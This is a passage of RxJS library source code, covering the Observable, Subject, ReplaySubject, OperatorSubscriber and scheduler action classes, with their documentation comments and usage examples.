Observable.\n *\n * Remember that callbacks provided to `subscribe` are not guaranteed to be called asynchronously.\n * It is an Observable itself that decides when these functions will be called. For example {@link of}\n * by default emits all its values synchronously. Always check documentation for how given Observable\n * will behave when subscribed and if its default behavior can be modified with a `scheduler`.\n *\n * #### Examples\n *\n * Subscribe with an {@link guide/observer Observer}\n *\n * ```ts\n * import { of } from 'rxjs';\n *\n * const sumObserver = {\n * sum: 0,\n * next(value) {\n * console.log('Adding: ' + value);\n * this.sum = this.sum + value;\n * },\n * error() {\n * // We actually could just remove this method,\n * // since we do not really care about errors right now.\n * },\n * complete() {\n * console.log('Sum equals: ' + this.sum);\n * }\n * };\n *\n * of(1, 2, 3) // Synchronously emits 1, 2, 3 and then completes.\n * .subscribe(sumObserver);\n *\n * // Logs:\n * // 'Adding: 1'\n * // 'Adding: 2'\n * // 'Adding: 3'\n * // 'Sum equals: 6'\n * ```\n *\n * Subscribe with functions ({@link deprecations/subscribe-arguments deprecated})\n *\n * ```ts\n * import { of } from 'rxjs'\n *\n * let sum = 0;\n *\n * of(1, 2, 3).subscribe(\n * value => {\n * console.log('Adding: ' + value);\n * sum = sum + value;\n * },\n * undefined,\n * () => console.log('Sum equals: ' + sum)\n * );\n *\n * // Logs:\n * // 'Adding: 1'\n * // 'Adding: 2'\n * // 'Adding: 3'\n * // 'Sum equals: 6'\n * ```\n *\n * Cancel a subscription\n *\n * ```ts\n * import { interval } from 'rxjs';\n *\n * const subscription = interval(1000).subscribe({\n * next(num) {\n * console.log(num)\n * },\n * complete() {\n * // Will not be called, even when cancelling subscription.\n * console.log('completed!');\n * }\n * });\n *\n * setTimeout(() => {\n * subscription.unsubscribe();\n * console.log('unsubscribed!');\n * }, 2500);\n *\n * // Logs:\n * // 0 after 1s\n * // 1 after 2s\n * // 'unsubscribed!' after 2.5s\n * ```\n *\n * @param {Observer|Function} observerOrNext (optional) Either an observer with methods to be called,\n * or the first of three possible handlers, which is the handler for each value emitted from the subscribed\n * Observable.\n * @param {Function} error (optional) A handler for a terminal event resulting from an error. If no error handler is provided,\n * the error will be thrown asynchronously as unhandled.\n * @param {Function} complete (optional) A handler for a terminal event resulting from successful completion.\n * @return {Subscription} a subscription reference to the registered handlers\n * @method subscribe\n */\n subscribe(\n observerOrNext?: Partial> | ((value: T) => void) | null,\n error?: ((error: any) => void) | null,\n complete?: (() => void) | null\n ): Subscription {\n const subscriber = isSubscriber(observerOrNext) ? observerOrNext : new SafeSubscriber(observerOrNext, error, complete);\n\n errorContext(() => {\n const { operator, source } = this;\n subscriber.add(\n operator\n ? // We're dealing with a subscription in the\n // operator chain to one of our lifted operators.\n operator.call(subscriber, source)\n : source\n ? // If `source` has a value, but `operator` does not, something that\n // had intimate knowledge of our API, like our `Subject`, must have\n // set it. We're going to just call `_subscribe` directly.\n this._subscribe(subscriber)\n : // In all other cases, we're likely wrapping a user-provided initializer\n // function, so we need to catch errors and handle them appropriately.\n this._trySubscribe(subscriber)\n );\n });\n\n return subscriber;\n }\n\n /** @internal */\n protected _trySubscribe(sink: Subscriber): TeardownLogic {\n try {\n return this._subscribe(sink);\n } catch (err) {\n // We don't need to return anything in this case,\n // because it's just going to try to `add()` to a subscription\n // above.\n sink.error(err);\n }\n }\n\n /**\n * Used as a NON-CANCELLABLE means of subscribing to an observable, for use with\n * APIs that expect promises, like `async/await`. You cannot unsubscribe from this.\n *\n * **WARNING**: Only use this with observables you *know* will complete. If the source\n * observable does not complete, you will end up with a promise that is hung up, and\n * potentially all of the state of an async function hanging out in memory. To avoid\n * this situation, look into adding something like {@link timeout}, {@link take},\n * {@link takeWhile}, or {@link takeUntil} amongst others.\n *\n * #### Example\n *\n * ```ts\n * import { interval, take } from 'rxjs';\n *\n * const source$ = interval(1000).pipe(take(4));\n *\n * async function getTotal() {\n * let total = 0;\n *\n * await source$.forEach(value => {\n * total += value;\n * console.log('observable -> ' + value);\n * });\n *\n * return total;\n * }\n *\n * getTotal().then(\n * total => console.log('Total: ' + total)\n * );\n *\n * // Expected:\n * // 'observable -> 0'\n * // 'observable -> 1'\n * // 'observable -> 2'\n * // 'observable -> 3'\n * // 'Total: 6'\n * ```\n *\n * @param next a handler for each value emitted by the observable\n * @return a promise that either resolves on observable completion or\n * rejects with the handled error\n */\n forEach(next: (value: T) => void): Promise;\n\n /**\n * @param next a handler for each value emitted by the observable\n * @param promiseCtor a constructor function used to instantiate the Promise\n * @return a promise that either resolves on observable completion or\n * rejects with the handled error\n * @deprecated Passing a Promise constructor will no longer be available\n * in upcoming versions of RxJS. This is because it adds weight to the library, for very\n * little benefit. If you need this functionality, it is recommended that you either\n * polyfill Promise, or you create an adapter to convert the returned native promise\n * to whatever promise implementation you wanted. Will be removed in v8.\n */\n forEach(next: (value: T) => void, promiseCtor: PromiseConstructorLike): Promise;\n\n forEach(next: (value: T) => void, promiseCtor?: PromiseConstructorLike): Promise {\n promiseCtor = getPromiseCtor(promiseCtor);\n\n return new promiseCtor((resolve, reject) => {\n const subscriber = new SafeSubscriber({\n next: (value) => {\n try {\n next(value);\n } catch (err) {\n reject(err);\n subscriber.unsubscribe();\n }\n },\n error: reject,\n complete: resolve,\n });\n this.subscribe(subscriber);\n }) as Promise;\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): TeardownLogic {\n return this.source?.subscribe(subscriber);\n }\n\n /**\n * An interop point defined by the es7-observable spec https://github.com/zenparsing/es-observable\n * @method Symbol.observable\n * @return {Observable} this instance of the observable\n */\n [Symbol_observable]() {\n return this;\n }\n\n /* tslint:disable:max-line-length */\n pipe(): Observable;\n pipe(op1: OperatorFunction): Observable;\n pipe(op1: OperatorFunction, op2: OperatorFunction): Observable;\n pipe(op1: OperatorFunction, op2: OperatorFunction, op3: OperatorFunction): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction,\n op9: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction,\n op9: OperatorFunction,\n ...operations: OperatorFunction[]\n ): Observable;\n /* tslint:enable:max-line-length */\n\n /**\n * Used to stitch together functional operators into a chain.\n * @method pipe\n * @return {Observable} the Observable result of all of the operators having\n * been called in the order they were passed in.\n *\n * ## Example\n *\n * ```ts\n * import { interval, filter, map, scan } from 'rxjs';\n *\n * interval(1000)\n * .pipe(\n * filter(x => x % 2 === 0),\n * map(x => x + x),\n * scan((acc, x) => acc + x)\n * )\n * .subscribe(x => console.log(x));\n * ```\n */\n pipe(...operations: OperatorFunction[]): Observable {\n return pipeFromArray(operations)(this);\n }\n\n /* tslint:disable:max-line-length */\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(): Promise;\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(PromiseCtor: typeof Promise): Promise;\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(PromiseCtor: PromiseConstructorLike): Promise;\n /* tslint:enable:max-line-length */\n\n /**\n * Subscribe to this Observable and get a Promise resolving on\n * `complete` with the last emission (if any).\n *\n * **WARNING**: Only use this with observables you *know* will complete. If the source\n * observable does not complete, you will end up with a promise that is hung up, and\n * potentially all of the state of an async function hanging out in memory. To avoid\n * this situation, look into adding something like {@link timeout}, {@link take},\n * {@link takeWhile}, or {@link takeUntil} amongst others.\n *\n * @method toPromise\n * @param [promiseCtor] a constructor function used to instantiate\n * the Promise\n * @return A Promise that resolves with the last value emit, or\n * rejects on an error. If there were no emissions, Promise\n * resolves with undefined.\n * @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise\n */\n toPromise(promiseCtor?: PromiseConstructorLike): Promise {\n promiseCtor = getPromiseCtor(promiseCtor);\n\n return new promiseCtor((resolve, reject) => {\n let value: T | undefined;\n this.subscribe(\n (x: T) => (value = x),\n (err: any) => reject(err),\n () => resolve(value)\n );\n }) as Promise;\n }\n}\n\n/**\n * Decides between a passed promise constructor from consuming code,\n * A default configured promise constructor, and the native promise\n * constructor and returns it. If nothing can be found, it will throw\n * an error.\n * @param promiseCtor The optional promise constructor to passed by consuming code\n */\nfunction getPromiseCtor(promiseCtor: PromiseConstructorLike | undefined) {\n return promiseCtor ?? config.Promise ?? Promise;\n}\n\nfunction isObserver(value: any): value is Observer {\n return value && isFunction(value.next) && isFunction(value.error) && isFunction(value.complete);\n}\n\nfunction isSubscriber(value: any): value is Subscriber {\n return (value && value instanceof Subscriber) || (isObserver(value) && isSubscription(value));\n}\n", "import { Observable } from '../Observable';\nimport { Subscriber } from '../Subscriber';\nimport { OperatorFunction } from '../types';\nimport { isFunction } from './isFunction';\n\n/**\n * Used to determine if an object is an Observable with a lift function.\n */\nexport function hasLift(source: any): source is { lift: InstanceType['lift'] } {\n return isFunction(source?.lift);\n}\n\n/**\n * Creates an `OperatorFunction`. Used to define operators throughout the library in a concise way.\n * @param init The logic to connect the liftedSource to the subscriber at the moment of subscription.\n */\nexport function operate(\n init: (liftedSource: Observable, subscriber: Subscriber) => (() => void) | void\n): OperatorFunction {\n return (source: Observable) => {\n if (hasLift(source)) {\n return source.lift(function (this: Subscriber, liftedSource: Observable) {\n try {\n return init(liftedSource, this);\n } catch (err) {\n this.error(err);\n }\n });\n }\n throw new TypeError('Unable to lift unknown Observable type');\n };\n}\n", "import { Subscriber } from '../Subscriber';\n\n/**\n * Creates an instance of an `OperatorSubscriber`.\n * @param destination The downstream subscriber.\n * @param onNext Handles next values, only called if this subscriber is not stopped or closed. Any\n * error that occurs in this function is caught and sent to the `error` method of this subscriber.\n * @param onError Handles errors from the subscription, any errors that occur in this handler are caught\n * and send to the `destination` error handler.\n * @param onComplete Handles completion notification from the subscription. Any errors that occur in\n * this handler are sent to the `destination` error handler.\n * @param onFinalize Additional teardown logic here. This will only be called on teardown if the\n * subscriber itself is not already closed. This is called after all other teardown logic is executed.\n */\nexport function createOperatorSubscriber(\n destination: Subscriber,\n onNext?: (value: T) => void,\n onComplete?: () => void,\n onError?: (err: any) => void,\n onFinalize?: () => void\n): Subscriber {\n return new OperatorSubscriber(destination, onNext, onComplete, onError, onFinalize);\n}\n\n/**\n * A generic helper for allowing operators to be created with a Subscriber and\n * use closures to capture necessary state from the operator function itself.\n */\nexport class OperatorSubscriber extends Subscriber {\n /**\n * Creates an instance of an `OperatorSubscriber`.\n * @param destination The downstream subscriber.\n * @param onNext Handles next values, only called if this subscriber is not stopped or closed. Any\n * error that occurs in this function is caught and sent to the `error` method of this subscriber.\n * @param onError Handles errors from the subscription, any errors that occur in this handler are caught\n * and send to the `destination` error handler.\n * @param onComplete Handles completion notification from the subscription. Any errors that occur in\n * this handler are sent to the `destination` error handler.\n * @param onFinalize Additional finalization logic here. This will only be called on finalization if the\n * subscriber itself is not already closed. This is called after all other finalization logic is executed.\n * @param shouldUnsubscribe An optional check to see if an unsubscribe call should truly unsubscribe.\n * NOTE: This currently **ONLY** exists to support the strange behavior of {@link groupBy}, where unsubscription\n * to the resulting observable does not actually disconnect from the source if there are active subscriptions\n * to any grouped observable. (DO NOT EXPOSE OR USE EXTERNALLY!!!)\n */\n constructor(\n destination: Subscriber,\n onNext?: (value: T) => void,\n onComplete?: () => void,\n onError?: (err: any) => void,\n private onFinalize?: () => void,\n private shouldUnsubscribe?: () => boolean\n ) {\n // It's important - for performance reasons - that all of this class's\n // members are initialized and that they are always initialized in the same\n // order. This will ensure that all OperatorSubscriber instances have the\n // same hidden class in V8. This, in turn, will help keep the number of\n // hidden classes involved in property accesses within the base class as\n // low as possible. If the number of hidden classes involved exceeds four,\n // the property accesses will become megamorphic and performance penalties\n // will be incurred - i.e. inline caches won't be used.\n //\n // The reasons for ensuring all instances have the same hidden class are\n // further discussed in this blog post from Benedikt Meurer:\n // https://benediktmeurer.de/2018/03/23/impact-of-polymorphism-on-component-based-frameworks-like-react/\n super(destination);\n this._next = onNext\n ? function (this: OperatorSubscriber, value: T) {\n try {\n onNext(value);\n } catch (err) {\n destination.error(err);\n }\n }\n : super._next;\n this._error = onError\n ? function (this: OperatorSubscriber, err: any) {\n try {\n onError(err);\n } catch (err) {\n // Send any errors that occur down stream.\n destination.error(err);\n } finally {\n // Ensure finalization.\n this.unsubscribe();\n }\n }\n : super._error;\n this._complete = onComplete\n ? function (this: OperatorSubscriber) {\n try {\n onComplete();\n } catch (err) {\n // Send any errors that occur down stream.\n destination.error(err);\n } finally {\n // Ensure finalization.\n this.unsubscribe();\n }\n }\n : super._complete;\n }\n\n unsubscribe() {\n if (!this.shouldUnsubscribe || this.shouldUnsubscribe()) {\n const { closed } = this;\n super.unsubscribe();\n // Execute additional teardown if we have any and we didn't already do so.\n !closed && this.onFinalize?.();\n }\n }\n}\n", "import { Subscription } from '../Subscription';\n\ninterface AnimationFrameProvider {\n schedule(callback: FrameRequestCallback): Subscription;\n requestAnimationFrame: typeof requestAnimationFrame;\n cancelAnimationFrame: typeof cancelAnimationFrame;\n delegate:\n | {\n requestAnimationFrame: typeof requestAnimationFrame;\n cancelAnimationFrame: typeof cancelAnimationFrame;\n }\n | undefined;\n}\n\nexport const animationFrameProvider: AnimationFrameProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n schedule(callback) {\n let request = requestAnimationFrame;\n let cancel: typeof cancelAnimationFrame | undefined = cancelAnimationFrame;\n const { delegate } = animationFrameProvider;\n if (delegate) {\n request = delegate.requestAnimationFrame;\n cancel = delegate.cancelAnimationFrame;\n }\n const handle = request((timestamp) => {\n // Clear the cancel function. The request has been fulfilled, so\n // attempting to cancel the request upon unsubscription would be\n // pointless.\n cancel = undefined;\n callback(timestamp);\n });\n return new Subscription(() => cancel?.(handle));\n },\n requestAnimationFrame(...args) {\n const { delegate } = animationFrameProvider;\n return (delegate?.requestAnimationFrame || requestAnimationFrame)(...args);\n },\n cancelAnimationFrame(...args) {\n const { delegate } = animationFrameProvider;\n return (delegate?.cancelAnimationFrame || cancelAnimationFrame)(...args);\n },\n delegate: undefined,\n};\n", "import { createErrorClass } from './createErrorClass';\n\nexport interface ObjectUnsubscribedError extends Error {}\n\nexport interface ObjectUnsubscribedErrorCtor {\n /**\n * @deprecated Internal implementation detail. Do not construct error instances.\n * Cannot be tagged as internal: https://github.com/ReactiveX/rxjs/issues/6269\n */\n new (): ObjectUnsubscribedError;\n}\n\n/**\n * An error thrown when an action is invalid because the object has been\n * unsubscribed.\n *\n * @see {@link Subject}\n * @see {@link BehaviorSubject}\n *\n * @class ObjectUnsubscribedError\n */\nexport const ObjectUnsubscribedError: ObjectUnsubscribedErrorCtor = createErrorClass(\n (_super) =>\n function ObjectUnsubscribedErrorImpl(this: any) {\n _super(this);\n this.name = 'ObjectUnsubscribedError';\n this.message = 'object unsubscribed';\n }\n);\n", "import { Operator } from './Operator';\nimport { Observable } from './Observable';\nimport { Subscriber } from './Subscriber';\nimport { Subscription, EMPTY_SUBSCRIPTION } from './Subscription';\nimport { Observer, SubscriptionLike, TeardownLogic } from './types';\nimport { ObjectUnsubscribedError } from './util/ObjectUnsubscribedError';\nimport { arrRemove } from './util/arrRemove';\nimport { errorContext } from './util/errorContext';\n\n/**\n * A Subject is a special type of Observable that allows values to be\n * multicasted to many Observers. Subjects are like EventEmitters.\n *\n * Every Subject is an Observable and an Observer. You can subscribe to a\n * Subject, and you can call next to feed values as well as error and complete.\n */\nexport class Subject extends Observable implements SubscriptionLike {\n closed = false;\n\n private currentObservers: Observer[] | null = null;\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n observers: Observer[] = [];\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n isStopped = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n hasError = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n thrownError: any = null;\n\n /**\n * Creates a \"subject\" by basically gluing an observer to an observable.\n *\n * @nocollapse\n * @deprecated Recommended you do not use. Will be removed at some point in the future. Plans for replacement still under discussion.\n */\n static create: (...args: any[]) => any = (destination: Observer, source: Observable): AnonymousSubject => {\n return new AnonymousSubject(destination, source);\n };\n\n constructor() {\n // NOTE: This must be here to obscure Observable's constructor.\n super();\n }\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n lift(operator: Operator): Observable {\n const subject = new AnonymousSubject(this, this);\n subject.operator = operator as any;\n return subject as any;\n }\n\n /** @internal */\n protected _throwIfClosed() {\n if (this.closed) {\n throw new ObjectUnsubscribedError();\n }\n }\n\n next(value: T) {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n if (!this.currentObservers) {\n this.currentObservers = Array.from(this.observers);\n }\n for (const observer of this.currentObservers) {\n observer.next(value);\n }\n }\n });\n }\n\n error(err: any) {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n this.hasError = this.isStopped = true;\n this.thrownError = err;\n const { observers } = this;\n while (observers.length) {\n observers.shift()!.error(err);\n }\n }\n });\n }\n\n complete() {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n this.isStopped = true;\n const { observers } = this;\n while (observers.length) {\n observers.shift()!.complete();\n }\n }\n });\n }\n\n unsubscribe() {\n this.isStopped = this.closed = true;\n this.observers = this.currentObservers = null!;\n }\n\n get observed() {\n return this.observers?.length > 0;\n }\n\n /** @internal */\n protected _trySubscribe(subscriber: Subscriber): TeardownLogic {\n this._throwIfClosed();\n return super._trySubscribe(subscriber);\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n this._throwIfClosed();\n this._checkFinalizedStatuses(subscriber);\n return this._innerSubscribe(subscriber);\n }\n\n /** @internal */\n protected _innerSubscribe(subscriber: Subscriber) {\n const { hasError, isStopped, observers } = this;\n if (hasError || isStopped) {\n return EMPTY_SUBSCRIPTION;\n }\n this.currentObservers = null;\n observers.push(subscriber);\n return new Subscription(() => {\n this.currentObservers = null;\n arrRemove(observers, subscriber);\n });\n }\n\n /** @internal */\n protected _checkFinalizedStatuses(subscriber: Subscriber) {\n const { hasError, thrownError, isStopped } = this;\n if (hasError) {\n subscriber.error(thrownError);\n } else if (isStopped) {\n subscriber.complete();\n }\n }\n\n /**\n * Creates a new Observable with this Subject as the source. You can do this\n * to create custom Observer-side logic of the Subject and conceal it from\n * code that uses the Observable.\n * @return {Observable} Observable that the Subject casts to\n */\n asObservable(): Observable {\n const observable: any = new Observable();\n observable.source = this;\n return observable;\n }\n}\n\n/**\n * @class AnonymousSubject\n */\nexport class AnonymousSubject extends Subject {\n constructor(\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n public destination?: Observer,\n source?: Observable\n ) {\n super();\n this.source = source;\n }\n\n next(value: T) {\n this.destination?.next?.(value);\n }\n\n error(err: any) {\n this.destination?.error?.(err);\n }\n\n complete() {\n this.destination?.complete?.();\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n return this.source?.subscribe(subscriber) ?? EMPTY_SUBSCRIPTION;\n }\n}\n", "import { TimestampProvider } from '../types';\n\ninterface DateTimestampProvider extends TimestampProvider {\n delegate: TimestampProvider | undefined;\n}\n\nexport const dateTimestampProvider: DateTimestampProvider = {\n now() {\n // Use the variable rather than `this` so that the function can be called\n // without being bound to the provider.\n return (dateTimestampProvider.delegate || Date).now();\n },\n delegate: undefined,\n};\n", "import { Subject } from './Subject';\nimport { TimestampProvider } from './types';\nimport { Subscriber } from './Subscriber';\nimport { Subscription } from './Subscription';\nimport { dateTimestampProvider } from './scheduler/dateTimestampProvider';\n\n/**\n * A variant of {@link Subject} that \"replays\" old values to new subscribers by emitting them when they first subscribe.\n *\n * `ReplaySubject` has an internal buffer that will store a specified number of values that it has observed. Like `Subject`,\n * `ReplaySubject` \"observes\" values by having them passed to its `next` method. When it observes a value, it will store that\n * value for a time determined by the configuration of the `ReplaySubject`, as passed to its constructor.\n *\n * When a new subscriber subscribes to the `ReplaySubject` instance, it will synchronously emit all values in its buffer in\n * a First-In-First-Out (FIFO) manner. The `ReplaySubject` will also complete, if it has observed completion; and it will\n * error if it has observed an error.\n *\n * There are two main configuration items to be concerned with:\n *\n * 1. `bufferSize` - This will determine how many items are stored in the buffer, defaults to infinite.\n * 2. `windowTime` - The amount of time to hold a value in the buffer before removing it from the buffer.\n *\n * Both configurations may exist simultaneously. So if you would like to buffer a maximum of 3 values, as long as the values\n * are less than 2 seconds old, you could do so with a `new ReplaySubject(3, 2000)`.\n *\n * ### Differences with BehaviorSubject\n *\n * `BehaviorSubject` is similar to `new ReplaySubject(1)`, with a couple of exceptions:\n *\n * 1. `BehaviorSubject` comes \"primed\" with a single value upon construction.\n * 2. `ReplaySubject` will replay values, even after observing an error, where `BehaviorSubject` will not.\n *\n * @see {@link Subject}\n * @see {@link BehaviorSubject}\n * @see {@link shareReplay}\n */\nexport class ReplaySubject extends Subject {\n private _buffer: (T | number)[] = [];\n private _infiniteTimeWindow = true;\n\n /**\n * @param bufferSize The size of the buffer to replay on subscription\n * @param windowTime The amount of time the buffered items will stay buffered\n * @param timestampProvider An object with a `now()` method that provides the current timestamp. This is used to\n * calculate the amount of time something has been buffered.\n */\n constructor(\n private _bufferSize = Infinity,\n private _windowTime = Infinity,\n private _timestampProvider: TimestampProvider = dateTimestampProvider\n ) {\n super();\n this._infiniteTimeWindow = _windowTime === Infinity;\n this._bufferSize = Math.max(1, _bufferSize);\n this._windowTime = Math.max(1, _windowTime);\n }\n\n next(value: T): void {\n const { isStopped, _buffer, _infiniteTimeWindow, _timestampProvider, _windowTime } = this;\n if (!isStopped) {\n _buffer.push(value);\n !_infiniteTimeWindow && _buffer.push(_timestampProvider.now() + _windowTime);\n }\n this._trimBuffer();\n super.next(value);\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n this._throwIfClosed();\n this._trimBuffer();\n\n const subscription = this._innerSubscribe(subscriber);\n\n const { _infiniteTimeWindow, _buffer } = this;\n // We use a copy here, so reentrant code does not mutate our array while we're\n // emitting it to a new subscriber.\n const copy = _buffer.slice();\n for (let i = 0; i < copy.length && !subscriber.closed; i += _infiniteTimeWindow ? 1 : 2) {\n subscriber.next(copy[i] as T);\n }\n\n this._checkFinalizedStatuses(subscriber);\n\n return subscription;\n }\n\n private _trimBuffer() {\n const { _bufferSize, _timestampProvider, _buffer, _infiniteTimeWindow } = this;\n // If we don't have an infinite buffer size, and we're over the length,\n // use splice to truncate the old buffer values off. Note that we have to\n // double the size for instances where we're not using an infinite time window\n // because we're storing the values and the timestamps in the same array.\n const adjustedBufferSize = (_infiniteTimeWindow ? 1 : 2) * _bufferSize;\n _bufferSize < Infinity && adjustedBufferSize < _buffer.length && _buffer.splice(0, _buffer.length - adjustedBufferSize);\n\n // Now, if we're not in an infinite time window, remove all values where the time is\n // older than what is allowed.\n if (!_infiniteTimeWindow) {\n const now = _timestampProvider.now();\n let last = 0;\n // Search the array for the first timestamp that isn't expired and\n // truncate the buffer up to that point.\n for (let i = 1; i < _buffer.length && (_buffer[i] as number) <= now; i += 2) {\n last = i;\n }\n last && _buffer.splice(0, last + 1);\n }\n }\n}\n", "import { Scheduler } from '../Scheduler';\nimport { Subscription } from '../Subscription';\nimport { SchedulerAction } from '../types';\n\n/**\n * A unit of work to be executed in a `scheduler`. An action is typically\n * created from within a {@link SchedulerLike} and an RxJS user does not need to concern\n * themselves about creating and manipulating an Action.\n *\n * ```ts\n * class Action extends Subscription {\n * new (scheduler: Scheduler, work: (state?: T) => void);\n * schedule(state?: T, delay: number = 0): Subscription;\n * }\n * ```\n *\n * @class Action\n */\nexport class Action extends Subscription {\n constructor(scheduler: Scheduler, work: (this: SchedulerAction, state?: T) => void) {\n super();\n }\n /**\n * Schedules this action on its parent {@link SchedulerLike} for execution. May be passed\n * some context object, `state`. May happen at some point in the future,\n * according to the `delay` parameter, if specified.\n * @param {T} [state] Some contextual data that the `work` function uses when\n * called by the Scheduler.\n * @param {number} [delay] Time to wait before executing the work, where the\n * time unit is implicit and defined by the Scheduler.\n * @return {void}\n */\n public schedule(state?: T, delay: number = 0): Subscription {\n return this;\n }\n}\n", "import type { TimerHandle } from './timerHandle';\ntype SetIntervalFunction = (handler: () => void, timeout?: number, ...args: any[]) => TimerHandle;\ntype ClearIntervalFunction = (handle: TimerHandle) => void;\n\ninterface IntervalProvider {\n setInterval: SetIntervalFunction;\n clearInterval: ClearIntervalFunction;\n delegate:\n | {\n setInterval: SetIntervalFunction;\n clearInterval: ClearIntervalFunction;\n }\n | undefined;\n}\n\nexport const intervalProvider: IntervalProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n setInterval(handler: () => void, timeout?: number, ...args) {\n const { delegate } = intervalProvider;\n if (delegate?.setInterval) {\n return delegate.setInterval(handler, timeout, ...args);\n }\n return setInterval(handler, timeout, ...args);\n },\n clearInterval(handle) {\n const { delegate } = intervalProvider;\n return (delegate?.clearInterval || clearInterval)(handle as any);\n },\n delegate: undefined,\n};\n", "import { Action } from './Action';\nimport { SchedulerAction } from '../types';\nimport { Subscription } from '../Subscription';\nimport { AsyncScheduler } from './AsyncScheduler';\nimport { intervalProvider } from './intervalProvider';\nimport { arrRemove } from '../util/arrRemove';\nimport { TimerHandle } from './timerHandle';\n\nexport class AsyncAction extends Action {\n public id: TimerHandle | undefined;\n public state?: T;\n // @ts-ignore: Property has no initializer and is not definitely assigned\n public delay: number;\n protected pending: boolean = false;\n\n constructor(protected scheduler: AsyncScheduler, protected work: (this: SchedulerAction, state?: T) => void) {\n super(scheduler, work);\n }\n\n public schedule(state?: T, delay: number = 0): Subscription {\n if (this.closed) {\n return this;\n }\n\n // Always replace the current state with the new state.\n this.state = state;\n\n const id = this.id;\n const scheduler = this.scheduler;\n\n //\n // Important implementation note:\n //\n // Actions only execute once by default, unless rescheduled from within the\n // scheduled callback. This allows us to implement single and repeat\n // actions via the same code path, without adding API surface area, as well\n // as mimic traditional recursion but across asynchronous boundaries.\n //\n // However, JS runtimes and timers distinguish between intervals achieved by\n // serial `setTimeout` calls vs. a single `setInterval` call. An interval of\n // serial `setTimeout` calls can be individually delayed, which delays\n // scheduling the next `setTimeout`, and so on. `setInterval` attempts to\n // guarantee the interval callback will be invoked more precisely to the\n // interval period, regardless of load.\n //\n // Therefore, we use `setInterval` to schedule single and repeat actions.\n // If the action reschedules itself with the same delay, the interval is not\n // canceled. If the action doesn't reschedule, or reschedules with a\n // different delay, the interval will be canceled after scheduled callback\n // execution.\n //\n if (id != null) {\n this.id = this.recycleAsyncId(scheduler, id, delay);\n }\n\n // Set the pending flag indicating that this action has been scheduled, or\n // has recursively rescheduled itself.\n this.pending = true;\n\n this.delay = delay;\n // If this action has already an async Id, don't request a new one.\n this.id = this.id ?? this.requestAsyncId(scheduler, this.id, delay);\n\n return this;\n }\n\n protected requestAsyncId(scheduler: AsyncScheduler, _id?: TimerHandle, delay: number = 0): TimerHandle {\n return intervalProvider.setInterval(scheduler.flush.bind(scheduler, this), delay);\n }\n\n protected recycleAsyncId(_scheduler: AsyncScheduler, id?: TimerHandle, delay: number | null = 0): TimerHandle | undefined {\n // If this action is rescheduled with the same delay time, don't clear the interval id.\n if (delay != null && this.delay === delay && this.pending === false) {\n return id;\n }\n // Otherwise, if the action's delay time is different from the current delay,\n // or the action has been rescheduled before it's executed, clear the interval id\n if (id != null) {\n intervalProvider.clearInterval(id);\n }\n\n return undefined;\n }\n\n /**\n * Immediately executes this action and the `work` it contains.\n * @return {any}\n */\n public execute(state: T, delay: number): any {\n if (this.closed) {\n return new Error('executing a cancelled action');\n }\n\n this.pending = false;\n const error = this._execute(state, delay);\n if (error) {\n return error;\n } else if (this.pending === false && this.id != null) {\n // Dequeue if the action didn't reschedule itself. Don't call\n // unsubscribe(), because the action could reschedule later.\n // For example:\n // ```\n // scheduler.schedule(function doWork(counter) {\n // /* ... I'm a busy worker bee ... */\n // var originalAction = this;\n // /* wait 100ms before rescheduling the action */\n // setTimeout(function () {\n // originalAction.schedule(counter + 1);\n // }, 100);\n // }, 1000);\n // ```\n this.id = this.recycleAsyncId(this.scheduler, this.id, null);\n }\n }\n\n protected _execute(state: T, _delay: number): any {\n let errored: boolean = false;\n let errorValue: any;\n try {\n this.work(state);\n } catch (e) 